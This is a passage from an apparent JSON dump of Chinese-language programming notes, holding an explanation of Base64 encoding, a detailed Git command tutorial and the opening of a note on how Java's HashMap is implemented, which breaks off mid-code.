[Fresco使用指南](https://www.fresco-cn.org/)\n- [Introduction to Glide, Image Loader Library for Android, recommended by Google](https://inthecheesefactory.com/blog/get-to-know-glide-recommended-by-google/en)\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/Base64加密.md",
    "content": "Base64加密\n===\n\n由来\n---\n\n为什么会有`Base64`编码呢？因为有些网络传送渠道并不支持所有的字节，例如传统的邮件只支持可见字符的传送，\n像`ASCII`码的控制字符就不能通过邮件传送。这样用途就受到了很大的限制，比如图片二进制流的每个字节不可能全部是可见字符，所以就传送不了。\n最好的方法就是在不改变传统协议的情况下，做一种扩展方案来支持二进制文件的传送。把不可打印的字符也能用可打印字符来表示，问题就解决了。\n`Base64`编码应运而生，`Base64`就是一种基于`64`个可打印字符来表示二进制数据的表示方法。\n\n原理\n---\n\n下面是`Base64`的编码表,字符选用了`A-Z、a-z、0-9、+、/`64个可打印字符。\n数值代表字符的索引，这个是标准`Base64`协议规定的，不能更改。\n64个字符用6个`bit`位就可以全部表示，一个字节有8个bit位，剩下两个`bit`就浪费掉了，这样就不得不牺牲一部分空间了。\n这里需要弄明白的就是一个`Base64`字符是8个`bit`，但是有效部分只有右边的6个`bit`，左边两个永远是0。\n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/base64_excel.png?raw=true)   \n\n因为`Base64`是6个`bit`那么，怎么来表示传统字符呢？那就是用４个`Base64`字符来表示3个传统字符。3*8=4*6嘛，这样就正好了。\n\n下面来看一个例子:`Man`是三个字符，一共24个`bit`，用4个`Base64`字符来凑齐24个有效位。\n红框表示的是对应的`Base64`，6个有效位转化成相应的索引值再对应`Base64`字符表，\n查出`Man`对应的`Base64`字符是`TWFU`。说到这里有个原则不知道你发现了没有，要转换成Base64的最小单位就是三个字节，\n对一个字符串来说每次都是三个字节三个字节的转换，对应的是`Base64`的四个字节。这个搞清楚了其实就差不多了。\n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/base64_man.png?raw=true)   \n\n\n正式因为这，所以\n想要转换成`Base64`最少要三个字节才可以，转换出来的`Base64`最少是4个字节，但是如果我要转换的字节不够3个怎么办？比如我想对字符`A`进行`Base64`\n加密。，`A`对应的第二个`Base64`的二进制位只有两个，把后边的四个补0就是了。\n所以`A`对应的`Base64`字符就是QQ。上边已经说过了，原则是`Base64`字符的最小单位是四个字符一组，那这才两个字符，后边补两个\"=\"吧。\n其实不用\"=\"也不耽误解码，之所以用\"=\"，可能是考虑到多段编码后的Base64字符串拼起来也不会引起混淆。\n由此可见 Base64字符串只可能最后出现一个或两个\"=\"，中间是不可能出现\"=\"的。下图中字符\"BC\"的编码过程也是一样的。\n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/base64_a.png?raw=true)   \n\n总结\n---\n\n`Base64`编码是从二进制到字符的过程，像一些中文字符用不同的编码转为二进制时，产生的二进制是不一样的，\n所以最终产生的`Base64`字符也不一样。例如上网对应`utf-8`格式的`Base64`编码是`5LiK572R`,对应`GB2312`格式的`Base64`编码是`yc/N+A==`\n\n\n\t\t\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/Git简介.md",
    "content": "Git简介\n===\n\n`Git`和其他版本控制系统(包括`Subversion`及其他相似的工具)的主要差别在于`Git`对待数据的方法。概念上来区分，其它大部分系统以文件变更列表的方式存储信息。 \n这类系统(`CVS、Subversion、Perforce、Bazaar`等等)将它们保存的信息看作是一组基本文件和每个文件随时间逐步累积的差异。存储每个文件与初始版本的差异。   \n\n\n`Git`不按照以上方式对待或保存数据。反之，`Git`更像是把数据看作是对小型文件系统的一组快照。每次你提交更新，或在`Git`中保存项目状态时，\n它主要对当时的全部文件制作一个快照并保存这个快照的索引。为了高效，如果文件没有修改，`Git`不再重新存储该文件，而是只保留一个链接指向之前存储的文件。`Git`对待数据更像是一个快照流。\n\n`Git`是分布式版本控制系统，集中式和分布式版本控制有什么区别呢？   \n\n- 集中式版本控制系统    \n    版本库是集中存放在中央服务器的，而干活的时候，用的都是自己的电脑，所以要先从中央服务器取得最新的版本，然后开始干活，干完活了，再把自己的活推送给中央服务器。中央服务器就好比是一个图书馆，你要改一本书，必须先从图书馆借出来，然后回到家自己改，改完了，再放回图书馆。集中式版本控制系统最大的毛病就是必须联网才能工作，如果在局域网内还好，带宽够大，速度够快，可如果在互联网上，遇到网速慢的话，可能提交一个10M的文件就需要5分钟，这还不得把人给憋死啊。    \n    ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/git_jizhong.jpeg)                \n\n- 分布式版本控制系统     \n    分布式版本控制系统根本没有“中央服务器”，每个人的电脑上都是一个完整的版本库，这样，你工作的时候，就不需要联网了，因为版本库就在你自己的电脑上。既然每个人电脑上都有一个完整的版本库，那多个人如何协作呢？比方说你在自己电脑上改了文件A，你的同事也在他的电脑上改了文件A，这时，你们俩之间只需把各自的修改推送给对方，就可以互相看到对方的修改了。     \n    和集中式版本控制系统相比，分布式版本控制系统的安全性要高很多，因为每个人电脑里都有完整的版本库，某一个 人   的电脑坏掉了不要紧，随便从其他人那里复制一个就可以了。而集中式版本控制系统的中央服务器要是出了问题，所有人都没法干活了。    \n    在实际使用分布式版本控制系统的时候，其实很少在两人之间的电脑上推送版本库的修改，因为可能你们俩不在一个局域网内，两台电脑互相访问不了，也可能今天你的同事病了，他的电脑压根没有开机。因此，分布式版本控制系统通常也有一台充当“中央服务器”的电脑，但这个服务器的作用仅仅是用来方便“交换”大家的修改，没有它大家也一样干活，只是交换修改不方便而已。          \n    ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/git_fenbu.jpeg)             \ndddd\n\n版本库\n---\n\n什么是版本库呢？版本库又名仓库，英文名`repository`，你可以简单理解成一个目录，这个目录里面的所有文件都可以被`Git`管理起来，每个文件的修改、删除，`Git`都能跟踪，\n以便任何时刻都可以追踪历史，或者在将来某个时刻可以“还原”。\n\n所以，创建一个版本库非常简单:   \n\n- 创建一个空目录\n- 通过`git init`命令把这个目录变成`Git`可以管理的仓库：\n    瞬间`Git`就把仓库建好了，而且告诉你是一个空的仓库`（empty Git repository）`，细心的读者可以发现当前目录下多了一个`.git`的目录，\n    这个目录是`Git`来跟踪管理版本库的，没事千万不要手动修改这个目录里面的文件，不然改乱了，就把`Git`仓库给破坏了。\n- 使用命令`git add <file>`，注意，可反复多次使用，添加多个文件；\n- 使用命令`git commit`，完成。\n\n\n五种状态 \n---\n\n\n`Git`有五种状态，你的文件可能处于其中之一:     \n\n- 未修改`(origin)`\n- 已修改`(modified)`\n- 已暂存`(staged)`\n- 已提交`(committed)`\n- 已推送`(pushed)`\n\n\n已提交表示数据已经安全的保存在本地数据库中。 已修改表示修改了文件，但还没保存到数据库中。 已暂存表示对一个已修改文件的当前版本做了标记，使之包含在下次提交的快照中。\n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/git_list.png)                \n\n\n`Git`仓库目录是`Git`用来保存项目的元数据和对象数据库的地方。这是`Git`中最重要的部分，从其它计算机克隆仓库时，拷贝的就是这里的数据。\n工作目录是对项目的某个版本独立提取出来的内容。这些从`Git`仓库的压缩数据库中提取出来的文件，放在磁盘上供你使用或修改。\n\n暂存区域是一个文件，保存了下次将提交的文件列表信息，一般在`Git`仓库目录中。 有时候也被称作‘索引’，不过一般说法还是叫暂存区域。\n\n基本的`Git`工作流程如下:     \n\n- 在工作目录中修改文件。\n- 暂存文件，将文件的快照放入暂存区域。\n- 提交更新，找到暂存区域的文件，将快照永久性存储到`Git`仓库目录。\n\n\n四个区\n---\n\n`Git`主要分为四个区:    \n\n- 工作区`(Working Area)`\n- 暂存区`(Stage或Index Area)`\n- 本地仓库`(Local Repository)`\n- 远程仓库`(Remote Repository)`\n\n\n\n上面说了`git add`和`git commit`的惭怍，总体分为了三个部分，其实更加详细的来分析，还需要一个`git push`的过程，也就是把更改`push`到远程仓库中。   \n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/git_buzhou.jpg)       \n\n正常情况下，我们的工作流程就是三个步骤，分别对应上图中的三个箭头线:    \n\n```shell\ngit add . // 把所有文件放入暂存区\ngit commit -m \"comment\"  // 把所有文件从暂存区提交进本地仓库\ngit push  // 把所有文件从本地仓库推送进远程仓库\n```\n\n先上一张图             \n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/git.jpg)                  \n图中的`index`部分就是暂存区           \n\n- 安装好git后我们要先配置一下。以便`git`跟踪。           \n\n    ```\n    git config --global user.name \"xxx\"            \n    git config --global user.email \"xxx@xxx.com\"\n    ```          \n    上面修改后可以使用`cat ~/.gitconfig`查看                      \n    如果指向修改仓库中的用户名时可以不加`--global`，这样可以用`cat .git/config`来查看             \n    `git config --list`来查看所有的配置。   \n    \n- 新建仓库     \n    ```        \n    mkdir gitDemo\n    cd gitDemo\n    git init\n    ```\n    这样就创建完了。\n\n- `clone`仓库                 \n    在某一目录下执行.          \n    `git clone [git path]`                                    \n    只是后`Git`会自动把当地仓库的`master`分支和远程仓库的`master`分支对应起来，远程仓库默认的名称是`origin`。\n\n- `git add`提交文件更改(修改和新增),把当前的修改添加到暂存区                                 \n    `git add xxx.txt`添加某一个文件                \n    `git add .`添加当前目录所有的文件            \n    \n- `git commit`提交，把修改由暂存区提交到仓库中                         \n    `git commit`提交，然后在出来的提示框内查看当前提交的内容以及输入注释。          \n    或者也可以用`git commit -m \"xxx\"` 提交到本地仓库并且注释是xxx      \n\n    `git commit`是很小的一件事情，但是往往小的事情往往引不起大家的关注，不妨打开公司的任一个`repo`，查看`commit log`，满篇的`update`和`fix`，\n    完全不知道这些`commit`是要做啥。在提交`commit`的时候尽量保证这个`commit`只做一件事情，比如实现某个功能或者修改了配置文件。注意是保证每个`commit`\n    只做一件事，而不是让你做了一件事`commit`后就`push`，那样就有点过分了。  \n\n- `git cherry-pick`          \n    `git cherry-pick`可以选择某一个分支中的一个或几个`commit(s)`来进行操作。例如，假设我们有个稳定版本的分支，叫`v2.0`，另外还有个开发版本的分支`v3.0`，我们不能直接把两个分支合并，这样会导致稳定版本混乱，但是又想增加一个`v3.0`中的功能到`v2.0`中，这里就可以使用`cherry-pick`了。     \n    就是对已经存在的`commit`进行 再次提交；     \n    简单用法:    \n    `git cherry-pick <commit id>`\n\n    \n- `git status`查看当前仓库的状态和信息，会提示哪些内容做了改变已经当前所在的分支。              \n\n- `git diff`                 \n    `git diff`直接查看所有的区别                 \n    `git diff HEAD -- xx.txt`查看工作区与版本库最新版的差别。            \n    \n    - 首先如果我们只是本地修改了一个文件，但是还没有执行`git add .`之前，该如何查看有那些修改。这种情况下直接执行`git diff`就可以了。   \n    - 那如果我们执行了`git add .`操作，然后你再执行`git diff`这时就会发现没有任何结果，这时因为`git diff`这个命令只是检查工作区和暂存区之间的差异。    \n    如果我们要查看暂存区和本地仓库之间的差异就需要加一个参数使用`--staged`参数或者`--cached`，`git diff --cached`。这样再执行就可以看到暂存区和本地仓库之间的差异。     \n    - 现在如果我们把修改使用`git commit`从暂存区提交到本地仓库，再看一下差异。这时候再执行`git diff --cached`就会发现没有任何差异。\n    如果我们行查看本地仓库和远程仓库的差异，就要换另一个参数，执行`git diff master origin/master`这样就可以看到差异了。 这里面`master`是本地的仓库，而`origin/master`是\n    远程仓库，因为默认都是在主分支上工作，所以两边都是`master`而`origin`代表远程。    \n\n- `git push` 提交到远程仓库                        \n    可以直接调用`git push`推送到当前分支         \n    或者`git push origin master`推送到远程`master`分支         \n    `git push origin devBranch`推送到远程`devBranch`分支           \n\n- `git log`查看当前分支下的提交记录             \n    用`git log`可以查看提交历史，以便确定要回退到哪个版本。\n    如果已经使用`git log`查出版本`commit id`后`reset`到某一次提交后，又要重返回来，\n    用`git reflog`查看命令历史，以便确定要回到未来的哪个版本。     \n    ```\n    git log -p -2 // -p 是仅显示最近的x次提交   \n    git log --stat // stat简略的显示每次提交的内容梗概，如哪些文件变更，多少删除，多少天剑\n    git log --oneline --graph\n    ```\n    下面是常用的参数:   \n    - `–author=“Alex Kras”` ——只显示某个用户的提交任务\n    - `–name-only` ——只显示变更文件的名称\n    - `–oneline`——将提交信息压缩到一行显示\n    - `–graph` ——显示所有提交的依赖树\n    - `–reverse` ——按照逆序显示提交记录（最先提交的在最前面）\n    - `–after` ——显示某个日期之后发生的提交\n    - `–before` ——显示发生某个日期之前的提交\n\n   \n- `git reflog`                \n    可以查看所有操作记录包括`commit`和`reset`操作以及删除的`commit`记录\n\n- `git reset`       \n    `git reset`命令用于将当前HEAD复位到指定状态。一般用于撤消之前的一些操作(如:`git add`,`git commit`等)。                 \n    在`git`的一般使用中，如果发现错误的将不想暂存的文件被`git add`进入索引之后，想回退取消，则可以使用命令:`git reset HEAD <file>`，\n    同时`git add`完毕之后，`git`也会做相应的提示，比如:    \n    ```shell\n    # Changes to be committed: \n    #   (use \"git reset HEAD <file>...\" to unstage) \n    # \n    # new file:   test.py\n    ```\n    `git reset [--hard|soft|mixed|merge|keep] [<commit>或HEAD]`:将当前的分支重设`(reset)`到指定的`<commit>`或者`HEAD`(默认，如果不显示指定`<commit>`，默认是`HEAD`，即最新的一次提交)，并且根据`[mode]`有可能更新索引和工作目录。`mode`的取值可以是`hard、soft、mixed、merged、keep`。下面来详细说明每种模式的意义和效果:    \n    - `--hard`:重设`(reset)`索引和工作目录，自从`<commit>`以来在工作目录中的任何改变都被丢弃，并把`HEAD`指向`<commit>`。会将其之后的修改全部撤回，并且会影响到工作区\n    - `--mixed`改变分支和暂存区，不影响工作区\n    - `soft`只改变分支的提交        \n\n    下面是具体一个例子，假设有三个`commit`，执行`git status`结果如下:     \n    ```\n    commit3: add test3.c\n    commit2: add test2.c\n    commit1: add test1.c\n    ```\n    执行`git reset --hard HEAD~1`命令后，\n    显示:`HEAD is now at commit2`，运行`git log`，如下所示:     \n    ```\n    commit2: add test2.c\n    commit1: add test1.c\n    ```\n\n    - 回滚最近一次提交\n\n    ```\n    $ git commit -a -m \"这是提交的备注信息\"\n    $ git reset --soft HEAD^      #(1) \n    $ edit code                        #(2) 编辑代码操作\n    $ git commit -a -c ORIG_HEAD  #(3)\n    ```\n\n    - `Git`中用`HEAD`表示当前版本，上一版本就是`HEAD^`,上上一版本就是`HEAD^^`.如果往前一千个版本呢？ 那就是`HEAD~1000`.             \n    `git reset —-hard HEAD^`       \n    `git reset —-hard commit_id`\n    `git reset HEAD fileName`可以把用`git add`之后但是还没有`commit`之前暂存区中的修改撤销。          \n    说到这里就说一个问题，如果你reset到某一个版本之后，发现弄错了，还想返回去，这时候用`git log`已经找不到之前的`commit id`了。那怎么办？这时候可以使用下面的命令来找。\n\n- `git checkout`撤销修改或者切换分支           \n    `git checkout -- xx.txt`意思就是将`xx.txt`文件在工作区的修改全部撤销。可能会有两种情况:      \n    \n    - 修改后还没有调用`git add`添加到暂存区，现在撤销后就会和版本库一样的状态。\n    - 修改后已经调用`git add`添加到暂存区后又做了修改，这时候撤销就会回到暂存区的状态。\n\n    总的来说`git checkout`就是让这个文件回到最近一次`git commit`或者`git add`的状态。\n    这里还有一个问题就是我胡乱修改了某个文件内容然后调用了`git add`添加到缓存区中，这时候想丢弃修改该怎么办？也是要分两步:\n    - 使用`git reset HEAD file`命令，将暂存区中的内容回退，这样修改的内容会从暂存区回到工作区。             \n    - 使用`git checkout --file`直接丢弃工作区的修改。            \n\n    `git checkout`把当前目录所有修改的文件从`HEAD`都撤销修改。        \n    为什么分支的地方也是用`git checkout`这里撤销还是用它呢？他们的区别在于`--`，如果没有`--`那就是检出分支了。\n    `git checkout origin/developer`  // 切换到orgin/developer分支   \n\n\n上面介绍了`git reset`和`git checkout`，这里就总结一下如何来对修改进行撤销操作:     \n\n- 已经修改，但是并未执行`git add .`进行暂存        \n    如果只是修改了本地文件，但是还没有执行`git add .`这时候我们的修改还是再工作区，并未进入暂存区，我们可以使用:`git checkouot .`或者`git reset --hard`来进行\n    撤销操作。   \n\n    `git add .`的反义词是`git checkout .`做完修改后，如果想要向前一步，让修改进入暂存区执行`git add .`如果想退后一步，撤销修改就执行`git checkout .`。   \n\n- 已暂存，未提交    \n    如果已经执行了`git add .`但是还没有执行`git commit -m \"comment\"`这时候你意识到了错误，想要撤销，可以执行:      \n\n    ```\n    git reset   // git reset 只是把修改退回到了git add .之前的状态，也就是让文件还处于已修改未暂存的状态\n    git checkout .   // 上面让文件处于已修改未暂存的状态，还要执行git checkout .来撤销工作区的状态\n    ```    \n    或`git reset --hard`\n\n    上面两个例子中都使用了`git reset --hard`这个命令也可以完成，这个命令可以一步到位的把你的修改完全恢复到本地仓库的未修改的状态。     \n\n- 已提交，未推送  \n    如果执行了`git add .`又执行了`git commit -m \"comment\"`提交了代码，这时候代码已经进入到了本地仓库，然而你发现问题了，想要撤销，怎么办？   \n    执行`git reset --hard origin/master`还是`git reset --hard`命令，只不过这次多了一个参数`origin/master`，这代表远程仓库，既然本地仓库已经有了\n    你提交的脏代码，那么就从远程仓库中把代码恢复把。   \n\n- 已推送到远程仓库  \n    如果你执行`git add .`后又`commit`又执行了`git push`操作了，这时候你的代码已经进入到了远程仓库中，如果你发现你提交的代码又问题想恢复的话，那你只能先把本地仓库的\n    代码恢复，然后再强制执行`git push`仓做，`push`到远程仓库就可以了。    \n    \n    ```\n    git reset --hard HEAD^  // HEAD^代表最新提交的前一次  \n    git push -f  // 强制推送\n    ```\n\n\n- `git revert`撤销提交   \n    `git revert`在撤销一个提交的同时会创建一个新的提交，这是一个安全的方法，因为它不会重写提交历史。\n\n    - `git revert`是生成一个新的提交来撤销某次提交，此次提交之前的`commit`都会被保留\n    - `git reset`是回到某次提交，提交及之前的`commit`都会被保留，但是此次之后的修改都会被退回到暂存区     \n    \n    相比`git reset`它不会改变现在得提交历史。`git reset`是直接删除制定的`commit`\n    并把`HEAD`向后移动了一下。而`git revert`是一次新的特殊的`commit`，`HEAD`继续前进，本质和普通`add commit`一样，仅仅是`commit`内容很特殊。内容是与前面普通`commit`变化的反操作。\n    比如前面普通`commit`是增加一行`a`，那么`revert`内容就是删除一行`a`。\n\n\n- `git rm`删除文件     \n    该文件就不再纳入版本管理了。如果删除之前修改过并且已经放到暂存区域的话，则必须要用强制删除选项 -f（译注：即 force 的首字母），以防误删除文件后丢失修改的内容。\n    另外一种情况是，我们想把文件从 Git 仓库中删除（亦即从暂存区域移除），但仍然希望保留在当前工作目录中。换句话说，仅是从跟踪清单中删除。比如一些大型日志文件或者一堆 .a 编译文件，不小心纳入仓库后，要移除跟踪但不删除文件，以便稍后在 .gitignore 文件中补上，用 --cached 选项即可：`git rm --cached readme.txt`   \n\n\n- 分支                   \n    `git`分支的创建和合并都是非常快的，因为增加一个分支其实就是增加一个指针，合并其实就是让某个分支的指针指向某一个位置。        \n ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/git_master_branch.png?raw=true) \n\n- 创建分支                   \n\n    `git branch devBranch`创建名为`devBranch`的分支。          \n    `git checkout devBranch`切换到`devBranch`分支。            \n    `git checkout -b devBranch`创建+切换到分支`devBranch`。\n    `git branch`查看当前仓库中的分支。                   \n    `git branch -r`查看远程仓库的分支。\n    `git branch -d devBranch`删除`devBranch`分支。            \n    ```\n    origin/HEAD -> origin/master\n    origin/developer\n    origin/developer_sg\n    origin/master\n    origin/master_sg\n    origin/offline\n    ```\n    `git branch -d devBranch`删除`devBranch`分支。           \n    当时如果在新建了一个分支后进行修改但是还没有合并到其他分支的时候就去使用`git branch -d xxx`删除的时候系统会手提示说这个分支没有被合并，删除失败。\n    这时如果你要强行删除的话可以使用命令`git branch -D xxx`.\n    如何删除远程分支呢？\n    ```\n    git branch -r -d origin/developer\n    git push origin :developer\n    ```\n    如何本地创建分支并推送给远程仓库？\n    ```\n    // 本地创建分支\n    git checkout master //进入master分支\n    git checkout -b frommaster //以master为源创建分支frommaster\n    // 推送到远程仓库\n    git push origin frommaster// 推送到远程仓库所要使用的名字\n    ```\n\n    如何切到到远程仓库分支进行开发呢？         \n    `git checkout -b frommaster origin/frommaster`\n    // 本地新建frommaster分支并且与远程仓库的frommaster分支想关联\n    提交更改的话就用 \n    `git push origin frommaster`\n\n    // 重命名分支    \n    `git branch -m new_branch wchar_support`\n\n\n- `git merge`合并指定分支到当前分支                         \n   `git merge devBranch`将`devBranch`分支合并到`master`。          \n\n- 打`tag`                   \n    `git tag v1.0`来进行打`tag`，默认为`HEAD`             \n    `git tag`查看所有`tag`          \n    如果我想在之前提交的某次`commit`上打`tag`，`git tag v1.0 commitID`     \n    当然也可以在打`tag`时带上参数 `git tag v1.0 -m \"version 1.0 released\" commitID`\n    `git tag -d xxx`删除xxx\n\n    `git show tagName`来查看某`tag`的详细信息。          \n- 打完`tag`后怎么推送到远程仓库         \n    `git push origin tagName`      \n\n- 删除`tag`        \n    `git tag -d tagName`      \n\n- 删除完`tag`后怎么推送到远程仓库，这个写法有点复杂                  \n    `git push origin:refs/tags/tagName` \n\n- 忽略文件                \n    在`git`根目录下创建一个特殊的`.gitignore`文件，把想要忽略的文件名填进去就可以了,匹配模式最后跟斜杠(/)说明要忽略的是目录,#是注释 。\n    其实不用一个个的去写，具体可以根据项目参考[https://github.com/github/gitignore](https://github.com/github/gitignore)\n    当然不要忘了把该文件提交上去                \n    在用`linux`的时候会自动生成一些以`~`结尾的备份文件，如果ignore掉呢？[https://github.com/github/gitignore/blob/master/Global/Linux.gitignore](https://github.com/github/gitignore/blob/master/Global/Linux.gitignore)\n\n- 撤销最后一次提交\n    有时候我们提交完了才发现漏掉了几个文件没有加或者提交信息写错了，想要撤销刚才的的提交操作。可以使用`--amend`选项重新提交:`git commit --amend`，然后再执行`git push`操作。\n\n\n\n- 查看远程仓库克隆地址\n    `git remote -v`\n\n关于`git`的工作区、缓存区可以看下图`index`标记部分的区域就是暂存区                     \n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/git_stage.jpg?raw=true)         \n\n从这个图中能看到缓存区的存在，这就是为什么我们新加或者修改之后都要调用`git add`方法后再调用`git commit`。              \n其实我一直有点分不开`reset`和`checkout`的区别，从这个图里能明显看出来了：\n\n- 当执行`git reset HEAD`命令时，暂存区的目录树会被重写，会被`master`分支指向的目录树所替换，但是工作区不受影响。\n- 当执行`git checkout .`或`git checkout -- file`命令是，会用暂存区全部的文件或指定的文件替换工作区的文件。这个操作很危险，会清楚工作区中未添加到暂存区的改动。\n命令时，会用`HEAD`指向的`master`分支中的全部或部分文件替换暂存区和工作区中的文件。这个命令也是极度危险的。因为不但会清楚工作区中未提交的改动，也会清楚暂存区中未提交的改动。\n- `git reset HEAD <file>` 是在添加到暂存区后，撤出暂存区使用，他只会把文件撤出暂存区，但是你的修改还在，仍然在工作区。当然如果使用`git reset --hard HEAD`这样就完了，工作区所有的内容都会被远程仓库最新代码覆盖。\n- `git checkout -- xxx.txt`是用于修改后未添加到暂存区时使用(如果修改后添加到暂存区后就没效果了，必须要先`reset`撤销暂存区后再使用`checkout`)，这时候会把之前的修改覆盖掉。所以是危险的。\n\n\n- 隐藏操作     \n\n    假设您正在为产品新的功能编写/实现代码，当正在编写代码时，突然出现软件客户端升级。这时，您必须将新编写的功能代码保留几个小时然后去处理升级的问题。在这段时间内不能提交代码，也不能丢弃您的代码更改。 所以需要一些临时等待一段时间，您可以存储部分更改，然后再提交它。\n    \n    在`Git`中，隐藏操作将使您能够修改跟踪文件，阶段更改，并将其保存在一系列未完成的更改中，并可以随时重新应用。\n    \n    假设你现在在`a`分支上开发新版本内容，已经开发了一部分，但是还没有达到可以提交的程度。你需要切换到`b`分支进行另一个升级的开发。那么可以\n    把当前工作的改变隐藏起来，要将一个新的存根推到堆栈上，运行`git stash`命令。   \n    \n    ```shell\n    $ git stash\n    Saved working directory and index state WIP on master: ef07ab5 synchronized with the remote repository\n    HEAD is now at ef07ab5 synchronized with the remote repository\n    ```\n    现在，工作目录是干净的，所有更改都保存在堆栈中。 现在使用`git status`命令来查看当前工作区状态:   \n    ```shell\n    $ git status\n    On branch master\n    Your branch is up-to-date with 'origin/master'.\n    \n    nothing to commit, working directory clean\n    ```\n    \n    现在，可以安全地切换分支并在其他地方工作。通过使用`git stash list`命令来查看已存在更改的列表。\n    ```shell\n    $ git stash list\n    stash@{0}: WIP on master: ef07ab5 synchronized with the remote repository\n    ```\n    \n    假设您已经解决了客户升级问题，想要重新开始新的功能的代码编写，查找上次没有写完成的代码，\n    只需执行`git stash pop`命令即可从堆栈中删除更改并将其放置在当前工作目录中。\n    \n    这样你之前隐藏的内容就会重新出现了，你可以继续开发了。    \n\n- Rebase操作\n\n    多人在同一个分支上协作时，很容易出现冲突，即使没有冲突，在`push`代码之前也要先`pull`，在本地合并后再`push`，所以就经常会出现这样的分支:\n```git\n$ git log --graph --pretty=oneline --abbrev-commit\n* d1be385 (HEAD -> master, origin/master) init hello\n*   e5e69f1 Merge branch 'dev'\n|\\  \n| *   57c53ab (origin/dev, dev) fix env conflict\n| |\\  \n| | * 7a5e5dd add env\n| * | 7bd91f1 add new env\n| |/  \n* |   12a631b merged bug fix 101\n|\\ \\  \n| * | 4c805e2 fix bug 101\n|/ /  \n* |   e1e9c68 merge with no-ff\n|\\ \\  \n| |/  \n| * f52c633 add merge\n|/  \n*   cf810e4 conflict fixed\n```\n看上去会很乱，有些强迫症的人会问：为什么`Git`的提交历史不能是一条干净的直线？\n`rebase`操作就是解决这个问题的，它可以把分叉的提交历史整理变成一条直线，看上去更直观。缺点是本地的分叉提交已经被修改过了。 \n\n也就是说`gie merge`和`git rebase`做的事情其实是一样的。它们都被设计来将一个分支的更改并入到另一个分支中。\n\n- git fetch与git pull的区别\n\n    `git`中`fetch`命令是将远程分支的最新内容拉到了本地，但是`fecth`后是看不到变化的，如果查看当前的分支，会发现此时本地多了一个`FETCH_HEAD`的指针，`checkout`到该指针后才可以查看远程分支的最新内容。\n\n    而`git pull`的作用相当于`fetch`和`merge`的组合，会自动合并:\n\n    ```git \n    git fetch origin master\n    git merge FETCH_HEAD\n    ```\n\n- git pull 与git pull --rebase的使用\n\n    使用下面的关系区别这两个操作:   \n\n    ```git\n    git pull = git fetch + git merge\n    git pull --rebase = git fetch + git rebase\n    ```\n    `git rebase`的过程中，有时会有`conflit`这时`Git`会停止`rebase`并让用户去解决冲突，解决完冲突后，用`git add`命令去更新这些内容，然后不用执行`git commit`，直接执行`git rebase --continue`这样`git`会继续`apply`余下的补丁。   \n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\n\n    \n\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/HashMap实现原理分析.md",
    "content": "HashMap实现原理分析\n===\n\n`HashMap`主要是用数组来存储数据的，我们都知道它会对`key`进行哈希运算，哈系运算会有重复的哈希值，对于哈希值的冲突，`HashMap`采用链表来解决的。\n`在HashMap`里有这样的一句属性声明:   \n```java\ntransient Entry[] table;\n```\n可以看到`Map`是通过数组的方式来储存`Entry`那`Entry`是神马呢？就是`HashMap`存储数据所用的类，它拥有的属性如下:   \n```java\nstatic class Entry implements Map.Entry {\n\tfinal K key;\n\tV value;\n\tEntry next;\n\tfinal int hash;\n\t...//More code goes here\n}  \n```\n看到`next`了吗？`next`就是为了哈希冲突而存在的。比如通过哈希运算，一个新元素应该在数组的第10个位置，但是第10个位置已经有Entry，那么好吧，\n将新加的元素也放到第10个位置，将第10个位置的原有`Entry`赋值给当前新加的`Entry`的`next`属性。数组存储的是链表，链表是为了解决哈希冲突的，这一点要注意。\n\n好了，总结一下:       \n\n- `HashMap`中有一个叫`table`的`Entry`数组。\n- 这个数组存储了`Entry`类的对象。`HashMap`类有一个叫做`Entry`的内部类。这个`Entry`类包含了`key-value`作为实例变量。\n- 每当往`Hashmap`里面存放`key-value`对的时候，都会为它们实例化一个`Entry`对象，这个`Entry`对象就会存储在前面提到的`Entry`数组`table`中。\n现在你一定很想知道，上面创建的`Entry`对象将会存放在具体哪个位置(在`table`中的精确位置)。答案就是，根据`key`的`hashcode()`方法计算出来的`hash`值来决定。\n`hash`值用来计算`key`在`Entry`数组的索引。\n- 我们往`hashmap`放了4个`key-value`对，但是有时候看上去好像只有2个元素！！！这是因为，如果两个元素有相同的`hashcode`，它们会被放在同一个索引上。\n问题出现了，该怎么放呢？原来它是以链表`(LinkedList)`的形式来存储的。\n\n接下来看一下`put`方法:      \n```java\n/**\n* Associates the specified value with the specified key in this map. If the\n* map previously contained a mapping for the key, the old value is\n* replaced.\n*\n* @param key\n*            key with which the specified value is to be associated\n* @param value\n*            value to be associated with the specified key\n* @return the previous value associated with <tt>key</tt>, or <tt>null</tt>\n*         if there was no mapping for <tt>key</tt>. (A <tt>null</tt> return\n*         can also indicate that the map previously associated\n*         <tt>null</tt> with <tt>key</tt>.)\n*/\npublic V put(K key, V value) {\n    // 对key做null检查。如果key是null，会被存储到table[0]，因为null的hash值总是0。\n\tif (key == null)\n\t\treturn putForNullKey(value);\n\t// 计算key的hash值,hash值用来找到存储Entry对象的数组的索引。有时候hash函数可能写的很不好，所以JDK的设计者添加了另一个叫做hash()的方法，它接收刚才计算的hash值作为参数\t\n\tint hash = hash(key.hashCode());\n\t// indexFor(hash,table.length)用来计算在table数组中存储Entry对象的精确的索引\n\tint i = indexFor(hash, table.length);\n\t\n\tfor (Entry<k , V> e = table[i]; e != null; e = e.next) {\n\t    // 如果这个位置已经有了(也就是hash值一样)就用链表来存了。 开始迭代链表\n\t\tObject k;\n\t\t// 直到Entry->next为null，就把当前的Entry对象变成链表的下一个节点。\n\t\tif (e.hash == hash && ((k = e.key) == key || key.equals(k))) {\n\t\t    // 